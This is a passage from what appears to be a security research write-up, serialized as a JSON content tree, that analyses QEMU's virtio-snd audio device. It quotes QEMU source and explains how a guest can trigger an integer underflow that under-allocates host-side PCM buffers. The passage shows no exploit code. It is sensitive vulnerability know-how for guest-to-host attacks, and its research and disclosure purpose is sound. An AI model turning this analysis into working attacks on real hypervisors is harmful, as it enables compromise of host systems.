machine.",{"type":23,"tag":24,"props":122491,"children":122492},{},[122493],{"type":28,"value":122494},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":23,"tag":17874,"props":122496,"children":122498},{"id":122497},"audio-data-buffers",[122499],{"type":28,"value":122500},"Audio Data Buffers",{"type":23,"tag":24,"props":122502,"children":122503},{},[122504],{"type":28,"value":122505},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":23,"tag":24,"props":122507,"children":122508},{},[122509,122511,122517],{"type":28,"value":122510},"For example, the following is ",{"type":23,"tag":56,"props":122512,"children":122514},{"className":122513},[],[122515],{"type":28,"value":122516},"virtio_snd_handle_rx_xfer",{"type":28,"value":122518},", which is responsible for allocating buffers for an input audio stream:",{"type":23,"tag":494,"props":122520,"children":122522},{"code":122521,"language":2124,"meta":7,"className":15493,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtQueueElement *elem;\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));     // [1]\n        if (!elem) {\n            break;\n        }\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);                  // [2]\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n            buffer->elem = elem;\n            buffer->vq = vq;\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n        }\n        continue;\n\n        [...]\n}\n\n",[122523],{"type":23,"tag":56,"props":122524,"children":122525},{"__ignoreMap":7},[122526,122533,122541,122549,122556,122564,122572,122580,122628,122635,122652,122659,122666,122678,122695,122702,122738,122758,122769,122776,122783,122791,122798,122831,122890,122908,122947,122972,122996,123024,123051,123089,123096,123108,123115,123122],{"type":23,"tag":504,"props":122527,"children":122528},{"class":506,"line":507},[122529],{"type":23,"tag":504,"props":122530,"children":122531},{"style":1106},[122532],{"type":28,"value":48345},{"type":23,"tag":504,"props":122534,"children":122535},{"class":506,"line":540},[122536],{"type":23,"tag":504,"props":122537,"children":122538},{"style":1106},[122539],{"type":28,"value":122540}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":23,"tag":504,"props":122542,"children":122543},{"class":506,"line":555},[122544],{"type":23,"tag":504,"props":122545,"children":122546},{"style":1106},[122547],{"type":28,"value":122548}," * respective streams for consumption.\n",{"type":23,"tag":504,"props":122550,"children":122551},{"class":506,"line":633},[122552],{"type":23,"tag":504,"props":122553,"children":122554},{"style":1106},[122555],{"type":28,"value":18470},{"type":23,"tag":504,"props":122557,"children":122558},{"class":506,"line":687},[122559],{"type":23,"tag":504,"props":122560,"children":122561},{"style":1106},[122562],{"type":28,"value":122563}," * @vdev: VirtIOSound device\n",{"type":23,"tag":504,"props":122565,"children":122566},{"class":506,"line":736},[122567],{"type":23,"tag":504,"props":122568,"children":122569},{"style":1106},[122570],{"type":28,"value":122571}," * @vq: rx virtqueue\n",{"type":23,"tag":504,"props":122573,"children":122574},{"class":506,"line":785},[122575],{"type":23,"tag":504,"props":122576,"children":122577},{"style":1106},[122578],{"type":28,"value":122579}," */\n",{"type":23,"tag":504,"props":122581,"children":122582},{"class":506,"line":813},[122583,122587,122591,122596,122601,122605,122610,122615,122619,122624],{"type":23,"tag":504,"props":122584,"children":122585},{"style":511},[122586],{"type":28,"value":50023},{"type":23,"tag":504,"props":122588,"children":122589},{"style":511},[122590],{"type":28,"value":50028},{"type":23,"tag":504,"props":122592,"children":122593},{"style":517},[122594],{"type":28,"value":122595}," virtio_snd_handle_rx_xfer",{"type":23,"tag":504,"props":122597,"children":122598},{"style":523},[122599],{"type":28,"value":122600},"(VirtIODevice ",{"type":23,"tag":504,"props":122602,"children":122603},{"style":598},[122604],{"type":28,"value":3552},{"type":23,"tag":504,"props":122606,"children":122607},{"style":529},[122608],{"type":28,"value":122609},"vdev",{"type":23,"tag":504,"props":122611,"children":122612},{"style":523},[122613],{"type":28,"value":122614},", VirtQueue ",{"type":23,"tag":504,"props":122616,"children":122617},{"style":598},[122618],{"type":28,"value":3552},{"type":23,"tag":504,"props":122620,"children":122621},{"style":529},[122622],{"type":28,"value":122623},"vq",{"type":23,"tag":504,"props":122625,"children":122626},{"style":523},[122627],{"type":28,"value":1192},{"type":23,"tag":504,"props":122629,"children":122630},{"class":506,"line":851},[122631],{"type":23,"tag":504,"props":122632,"children":122633},{"style":523},[122634],{"type":28,"value":9862},{"type":23,"tag":504,"props":122636,"children":122637},{"class":506,"line":869},[122638,122643,122647],{"type":23,"tag":504,"props":122639,"children":122640},{"style":523},[122641],{"type":28,"value":122642},"    VirtQueueElement ",{"type":23,"tag":504,"props":122644,"children":122645},{"style":598},[122646],{"type":28,"value":3552},{"type":23,"tag":504,"props":122648,"children":122649},{"style":523},[122650],{"type":28,"value":122651},"elem;\n",{"type":23,"tag":504,"props":122653,"children":122654},{"class":506,"line":878},[122655],{"type":23,"tag":504,"props":122656,"children":122657},{"style":523},[122658],{"type":28,"value":103552},{"type":23,"tag":504,"props":122660,"children":122661},{"class":506,"line":1221},[122662],{"type":23,"tag":504,"props":122663,"children":122664},{"emptyLinePlaceholder":16},[122665],{"type":28,"value":1038},{"type":23,"tag":504,"props":122667,"children":122668},{"class":506,"line":1276},[122669,122673],{"type":23,"tag":504,"props":122670,"children":122671},{"style":544},[122672],{"type":28,"value":2008},{"type":23,"tag":504,"props":122674,"children":122675},{"style":523},[122676],{"type":28,"value":122677}," (;;) {\n",{"type":23,"tag":504,"props":122679,"children":122680},{"class":506,"line":1285},[122681,122686,122690],{"type":23,"tag":504,"props":122682,"children":122683},{"style":523},[122684],{"type":28,"value":122685},"        VirtIOSoundPCMStream ",{"type":23,"tag":504,"props":122687,"children":122688},{"style":598},[122689],{"type":28,"value":3552},{"type":23,"tag":504,"props":122691,"children":122692},{"style":523},[122693],{"type":28,"value":122694},"stream;\n",{"type":23,"tag":504,"props":122696,"children":122697},{"class":506,"line":1294},[122698],{"type":23,"tag":504,"props":122699,"children":122700},{"emptyLinePlaceholder":16},[122701],{"type":28,"value":1038},{"type":23,"tag":504,"props":122703,"children":122704},{"class":506,"line":1302},[122705,122710,122714,122719,122724,122728,122733],{"type":23,"tag":504,"props":122706,"children":122707},{"style":523},[122708],{"type":28,"value":122709},"        elem ",{"type":23,"tag":504,"props":122711,"children":122712},{"style":598},[122713],{"type":28,"value":601},{"type":23,"tag":504,"props":122715,"children":122716},{"style":517},[122717],{"type":28,"value":122718}," virtqueue_pop",{"type":23,"tag":504,"props":122720,"children":122721},{"style":523},[122722],{"type":28,"value":122723},"(vq, ",{"type":23,"tag":504,"props":122725,"children":122726},{"style":511},[122727],{"type":28,"value":54306},{"type":23,"tag":504,"props":122729,"children":122730},{"style":523},[122731],{"type":28,"value":122732},"(VirtQueueElement));",{"type":23,"tag":504,"props":122734,"children":122735},{"style":1106},[122736],{"type":28,"value":122737},"     // [1]\n",{"type":23,"tag":504,"props":122739,"children":122740},{"class":506,"line":1311},[122741,122745,122749,122753],{"type":23,"tag":504,"props":122742,"children":122743},{"style":544},[122744],{"type":28,"value":2250},{"type":23,"tag":504,"props":122746,"children":122747},{"style":523},[122748],{"type":28,"value":801},{"type":23,"tag":504,"props":122750,"children":122751},{"style":598},[122752],{"type":28,"value":19603},{"type":23,"tag":504,"props":122754,"children":122755},{"style":523},[122756],{"type":28,"value":122757},"elem) {\n",{"type":23,"tag":504,"props":122759,"children":122760},{"class":506,"line":1334},[122761,122765],{"type":23,"tag":504,"props":122762,"children":122763},{"style":544},[122764],{"type":28,"value":2276},{"type":23,"tag":504,"props":122766,"children":122767},{"style":523},[122768],{"type":28,"value":866},{"type":23,"tag":504,"props":122770,"children":122771},{"class":506,"line":1370},[122772],{"type":23,"tag":504,"props":122773,"children":122774},{"style":523},[122775],{"type":28,"value":1291},{"type":23,"tag":504,"props":122777,"children":122778},{"class":506,"line":1384},[122779],{"type":23,"tag":504,"props":122780,"children":122781},{"emptyLinePlaceholder":16},[122782],{"type":28,"value":1038},{"type":23,"tag":504,"props":122784,"children":122785},{"class":506,"line":1392},[122786],{"type":23,"tag":504,"props":122787,"children":122788},{"style":523},[122789],{"type":28,"value":122790},"        [...]\n",{"type":23,"tag":504,"props":122792,"children":122793},{"class":506,"line":1400},[122794],{"type":23,"tag":504,"props":122795,"children":122796},{"emptyLinePlaceholder":16},[122797],{"type":28,"value":1038},{"type":23,"tag":504,"props":122799,"children":122800},{"class":506,"line":1422},[122801,122806,122810,122814,122818,122822,122827],{"type":23,"tag":504,"props":122802,"children":122803},{"style":517},[122804],{"type":28,"value":122805},"        WITH_QEMU_LOCK_GUARD",{"type":23,"tag":504,"props":122807,"children":122808},{"style":523},[122809],{"type":28,"value":526},{"type":23,"tag":504,"props":122811,"children":122812},{"style":598},[122813],{"type":28,"value":2086},{"type":23,"tag":504,"props":122815,"children":122816},{"style":529},[122817],{"type":28,"value":35238},{"type":23,"tag":504,"props":122819,"children":122820},{"style":523},[122821],{"type":28,"value":12738},{"type":23,"tag":504,"props":122823,"children":122824},{"style":529},[122825],{"type":28,"value":122826},"queue_mutex",{"type":23,"tag":504,"props":122828,"children":122829},{"style":523},[122830],{"type":28,"value":537},{"type":23,"tag":504,"props":122832,"children":122833},{"class":506,"line":1450},[122834,122839,122843,122848,122852,122856,122860,122865,122869,122873,122877,122882,122886],{"type":23,"tag":504,"props":122835,"children":122836},{"style":523},[122837],{"type":28,"value":122838},"            size ",{"type":23,"tag":504,"props":122840,"children":122841},{"style":598},[122842],{"type":28,"value":601},{"type":23,"tag":504,"props":122844,"children":122845},{"style":517},[122846],{"type":28,"value":122847}," iov_size",{"type":23,"tag":504,"props":122849,"children":122850},{"style":523},[122851],{"type":28,"value":526},{"type":23,"tag":504,"props":122853,"children":122854},{"style":529},[122855],{"type":28,"value":51042},{"type":23,"tag":504,"props":122857,"children":122858},{"style":523},[122859],{"type":28,"value":12738},{"type":23,"tag":504,"props":122861,"children":122862},{"style":529},[122863],{"type":28,"value":122864},"in_sg",{"type":23,"tag":504,"props":122866,"children":122867},{"style":523},[122868],{"type":28,"value":576},{"type":23,"tag":504,"props":122870,"children":122871},{"style":529},[122872],{"type":28,"value":51042},{"type":23,"tag":504,"props":122874,"children":122875},{"style":523},[122876],{"type":28,"value":12738},{"type":23,"tag":504,"props":122878,"children":122879},{"style":529},[122880],{"type":28,"value":122881},"in_num",{"type":23,"tag":504,"props":122883,"children":122884},{"style":523},[122885],{"type":28,"value":2064},{"type":23,"tag":504,"props":122887,"children":122888},{"style":598},[122889],{"type":28,"value":49840},{"type":23,"tag":504,"props":122891,"children":122892},{"class":506,"line":1463},[122893,122898,122903],{"type":23,"tag":504,"props":122894,"children":122895},{"style":511},[122896],{"type":28,"value":122897},"                sizeof",{"type":23,"tag":504,"props":122899,"children":122900},{"style":523},[122901],{"type":28,"value":122902},"(virtio_snd_pcm_status);",{"type":23,"tag":504,"props":122904,"children":122905},{"style":1106},[122906],{"type":28,"value":122907},"                  // [2]\n",{"type":23,"tag":504,"props":122909,"children":122910},{"class":506,"line":1485},[122911,122916,122920,122925,122929,122933,122938,122942],{"type":23,"tag":504,"props":122912,"children":122913},{"style":523},[122914],{"type":28,"value":122915},"            buffer ",{"type":23,"tag":504,"props":122917,"children":122918},{"style":598},[122919],{"type":28,"value":601},{"type":23,"tag":504,"props":122921,"children":122922},{"style":517},[122923],{"type":28,"value":122924}," g_malloc0",{"type":23,"tag":504,"props":122926,"children":122927},{"style":523},[122928],{"type":28,"value":526},{"type":23,"tag":504,"props":122930,"children":122931},{"style":511},[122932],{"type":28,"value":54306},{"type":23,"tag":504,"props":122934,"children":122935},{"style":523},[122936],{"type":28,"value":122937},"(VirtIOSoundPCMBuffer) ",{"type":23,"tag":504,"props":122939,"children":122940},{"style":598},[122941],{"type":28,"value":1642},{"type":23,"tag":504,"props":122943,"children":122944},{"style":523},[122945],{"type":28,"value":122946}," size);\n",{"type":23,"tag":504,"props":122948,"children":122949},{"class":506,"line":1503},[122950,122955,122959,122963,122967],{"type":23,"tag":504,"props":122951,"children":122952},{"style":529},[122953],{"type":28,"value":122954},"            buffer",{"type":23,"tag":504,"props":122956,"children":122957},{"style":523},[122958],{"type":28,"value":12738},{"type":23,"tag":504,"props":122960,"children":122961},{"style":529},[122962],{"type":28,"value":51042},{"type":23,"tag":504,"props":122964,"children":122965},{"style":598},[122966],{"type":28,"value":648},{"type":23,"tag":504,"props":122968,"children":122969},{"style":523},[122970],{"type":28,"value":122971}," elem;\n",{"type":23,"tag":504,"props":122973,"children":122974},{"class":506,"line":1516},[122975,122979,122983,122987,122991],{"type":23,"tag":504,"props":122976,"children":122977},{"style":529},[122978],{"type":28,"value":122954},{"type":23,"tag":504,"props":122980,"children":122981},{"style":523},[122982],{"type":28,"value":12738},{"type":23,"tag":504,"props":122984,"children":122985},{"style":529},[122986],{"type":28,"value":122623},{"type":23,"tag":504,"props":122988,"children":122989},{"style":598},[122990],{"type":28,"value":648},{"type":23,"tag":504,"props":122992,"children":122993},{"style":523},[122994],{"type":28,"value":122995}," vq;\n",{"type":23,"tag":504,"props":122997,"children":122998},{"class":506,"line":1543},[122999,123003,123007,123012,123016,123020],{"type":23,"tag":504,"props":123000,"children":123001},{"style":529},[123002],{"type":28,"value":122954},{"type":23,"tag":504,"props":123004,"children":123005},{"style":523},[123006],{"type":28,"value":12738},{"type":23,"tag":504,"props":123008,"children":123009},{"style":529},[123010],{"type":28,"value":123011},"size",{"type":23,"tag":504,"props":123013,"children":123014},{"style":598},[123015],{"type":28,"value":648},{"type":23,"tag":504,"props":123017,"children":123018},{"style":1440},[123019],{"type":28,"value":2023},{"type":23,"tag":504,"props":123021,"children":123022},{"style":523},[123023],{"type":28,"value":866},{"type":23,"tag":504,"props":123025,"children":123026},{"class":506,"line":1583},[123027,123031,123035,123039,123043,123047],{"type":23,"tag":504,"props":123028,"children":123029},{"style":529},[123030],{"type":28,"value":122954},{"type":23,"tag":504,"props":123032,"children":123033},{"style":523},[123034],{"type":28,"value":12738},{"type":23,"tag":504,"props":123036,"children":123037},{"style":529},[123038],{"type":28,"value":12882},{"type":23,"tag":504,"props":123040,"children":123041},{"style":598},[123042],{"type":28,"value":648},{"type":23,"tag":504,"props":123044,"children":123045},{"style":1440},[123046],{"type":28,"value":2023},{"type":23,"tag":504,"props":123048,"children":123049},{"style":523},[123050],{"type":28,"value":866},{"type":23,"tag":504,"props":123052,"children":123053},{"class":506,"line":1605},[123054,123059,123063,123067,123071,123075,123080,123085],{"type":23,"tag":504,"props":123055,"children":123056},{"style":517},[123057],{"type":28,"value":123058},"            QSIMPLEQ_INSERT_TAIL",{"type":23,"tag":504,"props":123060,"children":123061},{"style":523},[123062],{"type":28,"value":526},{"type":23,"tag":504,"props":123064,"children":123065},{"style":598},[123066],{"type":28,"value":2086},{"type":23,"tag":504,"props":123068,"children":123069},{"style":529},[123070],{"type":28,"value":35238},{"type":23,"tag":504,"props":123072,"children":123073},{"style":523},[123074],{"type":28,"value":12738},{"type":23,"tag":504,"props":123076,"children":123077},{"style":529},[123078],{"type":28,"value":123079},"queue",{"type":23,"tag":504,"props":123081,"children":123082},{"style":523},[123083],{"type":28,"value":123084},", buffer, entry);",{"type":23,"tag":504,"props":123086,"children":123087},{"style":1106},[123088],{"type":28,"value":51607},{"type":23,"tag":504,"props":123090,"children":123091},{"class":506,"line":1614},[123092],{"type":23,"tag":504,"props":123093,"children":123094},{"style":523},[123095],{"type":28,"value":1291},{"type":23,"tag":504,"props":123097,"children":123098},{"class":506,"line":1627},[123099,123104],{"type":23,"tag":504,"props":123100,"children":123101},{"style":544},[123102],{"type":28,"value":123103},"        continue",{"type":23,"tag":504,"props":123105,"children":123106},{"style":523},[123107],{"type":28,"value":866},{"type":23,"tag":504,"props":123109,"children":123110},{"class":506,"line":1655},[123111],{"type":23,"tag":504,"props":123112,"children":123113},{"emptyLinePlaceholder":16},[123114],{"type":28,"value":1038},{"type":23,"tag":504,"props":123116,"children":123117},{"class":506,"line":1668},[123118],{"type":23,"tag":504,"props":123119,"children":123120},{"style":523},[123121],{"type":28,"value":122790},{"type":23,"tag":504,"props":123123,"children":123124},{"class":506,"line":1682},[123125],{"type":23,"tag":504,"props":123126,"children":123127},{"style":523},[123128],{"type":28,"value":884},{"type":23,"tag":24,"props":123130,"children":123131},{},[123132,123134,123140,123142,123148,123150,123155,123156,123162],{"type":28,"value":123133},"At ",{"type":23,"tag":56,"props":123135,"children":123137},{"className":123136},[],[123138],{"type":28,"value":123139},"[1]",{"type":28,"value":123141},", a ",{"type":23,"tag":56,"props":123143,"children":123145},{"className":123144},[],[123146],{"type":28,"value":123147},"VirtQueueElement *elem",{"type":28,"value":123149}," is popped from the virtqueue. It contains the ",{"type":23,"tag":56,"props":123151,"children":123153},{"className":123152},[],[123154],{"type":28,"value":122864},{"type":28,"value":430},{"type":23,"tag":56,"props":123157,"children":123159},{"className":123158},[],[123160],{"type":28,"value":123161},"out_sg",{"type":28,"value":123163}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":23,"tag":24,"props":123165,"children":123166},{},[123167,123169,123175,123177,123183,123185,123191,123193,123199,123201,123207],{"type":28,"value":123168},"Further at ",{"type":23,"tag":56,"props":123170,"children":123172},{"className":123171},[],[123173],{"type":28,"value":123174},"[2]",{"type":28,"value":123176},", the device computes the size of the data buffer as ",{"type":23,"tag":56,"props":123178,"children":123180},{"className":123179},[],[123181],{"type":28,"value":123182},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":28,"value":123184},". That value is then used in the allocation: ",{"type":23,"tag":56,"props":123186,"children":123188},{"className":123187},[],[123189],{"type":28,"value":123190},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":28,"value":123192},". Finally, at ",{"type":23,"tag":56,"props":123194,"children":123196},{"className":123195},[],[123197],{"type":28,"value":123198},"[3]",{"type":28,"value":123200},", the newly allocated buffer is appended to the ",{"type":23,"tag":56,"props":123202,"children":123204},{"className":123203},[],[123205],{"type":28,"value":123206},"stream->queue",{"type":28,"value":123208}," linked list.",{"type":23,"tag":24,"props":123210,"children":123211},{},[123212,123214,123219,123221,123226,123228,123233,123235,123241],{"type":28,"value":123213},"Because both the ",{"type":23,"tag":56,"props":123215,"children":123217},{"className":123216},[],[123218],{"type":28,"value":122864},{"type":28,"value":123220}," iovec and the ",{"type":23,"tag":56,"props":123222,"children":123224},{"className":123223},[],[123225],{"type":28,"value":122881},{"type":28,"value":123227}," field are guest-controlled, and there is no check that the total ",{"type":23,"tag":56,"props":123229,"children":123231},{"className":123230},[],[123232],{"type":28,"value":122864},{"type":28,"value":123234}," size is at least ",{"type":23,"tag":56,"props":123236,"children":123238},{"className":123237},[],[123239],{"type":28,"value":123240},"sizeof(virtio_snd_pcm_status)",{"type":28,"value":123242},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":23,"tag":24,"props":123244,"children":123245},{},[123246,123248,123253,123255,123261,123263,123269,123271,123277],{"type":28,"value":123247},"From the guest driver, we can provide an empty ",{"type":23,"tag":56,"props":123249,"children":123251},{"className":123250},[],[123252],{"type":28,"value":122864},{"type":28,"value":123254}," iovec. In that case, the calculation becomes ",{"type":23,"tag":56,"props":123256,"children":123258},{"className":123257},[],[123259],{"type":28,"value":123260},"0 - sizeof(virtio_snd_pcm_status)",{"type":28,"value":123262},", so the allocation size effectively becomes ",{"type":23,"tag":56,"props":123264,"children":123266},{"className":123265},[],[123267],{"type":28,"value":123268},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":28,"value":123270},". Given the definition of ",{"type":23,"tag":56,"props":123272,"children":123274},{"className":123273},[],[123275],{"type":28,"value":123276},"VirtIOSoundPCMBuffer",{"type":28,"value":3472},{"type":23,"tag":494,"props":123279,"children":123281},{"code":123280,"language":2124,"meta":7,"className":15493,"style":7},"struct VirtIOSoundPCMBuffer {\n    QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n    VirtQueueElement *elem;\n    VirtQueue *vq;\n    size_t size;\n    uint64_t offset;\n    /* Used for the TX queue for lazy I/O copy from `elem` */\n    bool populated;\n    uint8_t data[];\n};\n",[123282],{"type":23,"tag":56,"props":123283,"children":123284},{"__ignoreMap":7},[123285,123297,123310,123325,123342,123354,123366,123374,123386,123406],{"type":23,"tag":504,"props":123286,"children":123287},{"class":506,"line":507},[123288,123292],{"type":23,"tag":504,"props":123289,"children":123290},{"style":511},[123291],{"type":28,"value":8383},{"type":23,"tag":504,"props":123293,"children":123294},{"style":523},[123295],{"type":28,"value":123296}," VirtIOSoundPCMBuffer {\n",{"type":23,"tag":504,"props":123298,"children":123299},{"class":506,"line":540},[123300,123305],{"type":23,"tag":504,"props":123301,"children":123302},{"style":517},[123303],{"type":28,"value":123304},"    QSIMPLEQ_ENTRY",{"type":23,"tag":504,"props":123306,"children":123307},{"style":523},[123308],{"type":28,"value":123309},"(VirtIOSoundPCMBuffer) entry;\n",{"type":23,"tag":504,"props":123311,"children":123312},{"class":506,"line":555},[123313,123317,123321],{"type":23,"tag":504,"props":123314,"children":123315},{"style":523},[123316],{"type":28,"value":122642},{"type":23,"tag":504,"props":123318,"children":123319},{"style":598},[123320],{"type":28,"value":3552},{"type":23,"tag":504,"props":123322,"children":123323},{"style":523},[123324],{"type":28,"value":122651},{"type":23,"tag":504,"props":123326,"children":123327},{"class":506,"line":633},[123328,123333,123337],{"type":23,"tag":504,"props":123329,"children":123330},{"style":523},[123331],{"type":28,"value":123332},"    VirtQueue ",{"type":23,"tag":504,"props":123334,"children":123335},{"style":598},[123336],{"type":28,"value":3552},{"type":23,"tag":504,"props":123338,"children":123339},{"style":523},[123340],{"type":28,"value":123341},"vq;\n",{"type":23,"tag":504,"props":123343,"children":123344},{"class":506,"line":687},[123345,123349],{"type":23,"tag":504,"props":123346,"children":123347},{"style":511},[123348],{"type":28,"value":15543},{"type":23,"tag":504,"props":123350,"children":123351},{"style":523},[123352],{"type":28,"value":123353}," size;\n",{"type":23,"tag":504,"props":123355,"children":123356},{"class":506,"line":736},[123357,123361],{"type":23,"tag":504,"props":123358,"children":123359},{"style":511},[123360],{"type":28,"value":54591},{"type":23,"tag":504,"props":123362,"children":123363},{"style":523},[123364],{"type":28,"value":123365}," offset;\n",{"type":23,"tag":504,"props":123367,"children":123368},{"class":506,"line":785},[123369],{"type":23,"tag":504,"props":123370,"children":123371},{"style":1106},[123372],{"type":28,"value":123373},"    /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":23,"tag":504,"props":123375,"children":123376},{"class":506,"line":813},[123377,123381],{"type":23,"tag":504,"props":123378,"children":123379},{"style":511},[123380],{"type":28,"value":45452},{"type":23,"tag":504,"props":123382,"children":123383},{"style":523},[123384],{"type":28,"value":123385}," populated;\n",{"type":23,"tag":504,"props":123387,"children":123388},{"class":506,"line":851},[123389,123393,123397,123402],{"type":23,"tag":504,"props":123390,"children":123391},{"style":511},[123392],{"type":28,"value":57436},{"type":23,"tag":504,"props":123394,"children":123395},{"style":523},[123396],{"type":28,"value":14084},{"type":23,"tag":504,"props":123398,"children":123399},{"style":511},[123400],{"type":28,"value":123401},"[]",{"type":23,"tag":504,"props":123403,"children":123404},{"style":523},[123405],{"type":28,"value":866},{"type":23,"tag":504,"props":123407,"children":123408},{"class":506,"line":869},[123409],{"type":23,"tag":504,"props":123410,"children":123411},{"style":523},[123412],{"type":28,"value":15556},{"type":23,"tag":24,"props":123414,"children":123415},{},[123416,123418,123424,123426,123431,123433,123438,123440,123445,123447,123452,123454,123460],{"type":28,"value":123417},"That under-allocation removes the ",{"type":23,"tag":56,"props":123419,"children":123421},{"className":123420},[],[123422],{"type":28,"value":123423},"populated",{"type":28,"value":123425}," field along with the variable-sized ",{"type":23,"tag":56,"props":123427,"children":123429},{"className":123428},[],[123430],{"type":28,"value":2679},{"type":28,"value":123432}," array. As the comment says, ",{"type":23,"tag":56,"props":123434,"children":123436},{"className":123435},[],[123437],{"type":28,"value":123423},{"type":28,"value":123439}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":23,"tag":56,"props":123441,"children":123443},{"className":123442},[],[123444],{"type":28,"value":2991},{"type":28,"value":123446},", the device believes data should be ",{"type":23,"tag":56,"props":123448,"children":123450},{"className":123449},[],[123451],{"type":28,"value":2991},{"type":28,"value":123453}," byte, while the actual allocation is ",{"type":23,"tag":56,"props":123455,"children":123457},{"className":123456},[],[123458],{"type":28,"value":123459},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":28,"value":320},{"type":23,"tag":17874,"props":123462,"children":123464},{"id":123463},"populating-data-buffers",[123465],{"type":28,"value":123466},"Populating Data Buffers",{"type":23,"tag":24,"props":123468,"children":123469},{},[123470],{"type":28,"value":123471},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":23,"tag":494,"props":123473,"children":123475},{"code":123474,"language":2124,"meta":7,"className":15493,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n    VirtIOSoundPCMStream *stream = data;\n    VirtIOSoundPCMBuffer *buffer;\n    size_t size, max_size;\n\n    WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n        while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n            buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n            [...]\n\n            max_size = iov_size(                    // [1]\n                buffer->elem->in_sg,\n                buffer->elem->in_num\n            );\n            for (;;) {\n                if (buffer->size >= max_size) {     // [2]\n                    return_rx_buffer(stream, buffer);\n                    break;\n                }\n                size = AUD_read(stream->voice.in,\n                        buffer->data + buffer->size,\n                        MIN(available, (stream->params.period_bytes -     // [3]\n                                        buffer->size)));\n                if (!size) {\n                    available = 0;\n                    break;\n                }\n                buffer->size += size;\n                available -= size;\n                [...]\n            }\n        }\n    }\n}\n",[123476],{"type":23,"tag":56,"props":123477,"children":123478},{"__ignoreMap":7},[123479,123486,123494,123501,123509,123517,123524,123573,123580,123606,123623,123635,123642,123674,123719,123759,123766,123774,123781,123806,123834,123858,123866,123878,123916,123929,123941,123948,123994,124031,124074,124095,124115,124135,124146,124153,124176,124192,124200,124207,124214,124221],{"type":23,"tag":504,"props":123480,"children":123481},{"class":506,"line":507},[123482],{"type":23,"tag":504,"props":123483,"children":123484},{"style":1106},[123485],{"type":28,"value":48345},{"type":23,"tag":504,"props":123487,"children":123488},{"class":506,"line":540},[123489],{"type":23,"tag":504,"props":123490,"children":123491},{"style":1106},[123492],{"type":28,"value":123493}," * AUD_* input callback.\n",{"type":23,"tag":504,"props":123495,"children":123496},{"class":506,"line":555},[123497],{"type":23,"tag":504,"props":123498,"children":123499},{"style":1106},[123500],{"type":28,"value":18470},{"type":23,"tag":504,"props":123502,"children":123503},{"class":506,"line":633},[123504],{"type":23,"tag":504,"props":123505,"children":123506},{"style":1106},[123507],{"type":28,"value":123508}," * @data: VirtIOSoundPCMStream stream\n",{"type":23,"tag":504,"props":123510,"children":123511},{"class":506,"line":687},[123512],{"type":23,"tag":504,"props":123513,"children":123514},{"style":1106},[123515],{"type":28,"value":123516}," * @available: number of bytes that can be read with AUD_read()\n",{"type":23,"tag":504,"props":123518,"children":123519},{"class":506,"line":736},[123520],{"type":23,"tag":504,"props":123521,"children":123522},{"style":1106},[123523],{"type":28,"value":122579},{"type":23,"tag":504,"props":123525,"children":123526},{"class":506,"line":785},[123527,123531,123535,123540,123544,123548,123552,123556,123560,123564,123569],{"type":23,"tag":504,"props":123528,"children":123529},{"style":511},[123530],{"type":28,"value":50023},{"type":23,"tag":504,"props":123532,"children":123533},{"style":511},[123534],{"type":28,"value":50028},{"type":23,"tag":504,"props":123536,"children":123537},{"style":517},[123538],{"type":28,"value":123539}," virtio_snd_pcm_in_cb",{"type":23,"tag":504,"props":123541,"children":123542},{"style":523},[123543],{"type":28,"value":526},{"type":23,"tag":504,"props":123545,"children":123546},{"style":511},[123547],{"type":28,"value":50605},{"type":23,"tag":504,"props":123549,"children":123550},{"style":598},[123551],{"type":28,"value":8797},{"type":23,"tag":504,"props":123553,"children":123554},{"style":529},[123555],{"type":28,"value":2679},{"type":23,"tag":504,"props":123557,"children":123558},{"style":523},[123559],{"type":28,"value":576},{"type":23,"tag":504,"props":123561,"children":123562},{"style":511},[123563],{"type":28,"value":18028},{"type":23,"tag":504,"props":123565,"children":123566},{"style":529},[123567],{"type":28,"value":123568}," available",{"type":23,"tag":504,"props":123570,"children":123571},{"style":523},[123572],{"type":28,"value":1192},{"type":23,"tag":504,"props":123574,"children":123575},{"class":506,"line":813},[123576],{"type":23,"tag":504,"props":123577,"children":123578},{"style":523},[123579],{"type":28,"value":9862},{"type":23,"tag":504,"props":123581,"children":123582},{"class":506,"line":851},[123583,123588,123592,123597,123601],{"type":23,"tag":504,"props":123584,"children":123585},{"style":523},[123586],{"type":28,"value":123587},"    VirtIOSoundPCMStream ",{"type":23,"tag":504,"props":123589,"children":123590},{"style":598},[123591],{"type":28,"value":3552},{"type":23,"tag":504,"props":123593,"children":123594},{"style":523},[123595],{"type":28,"value":123596},"stream 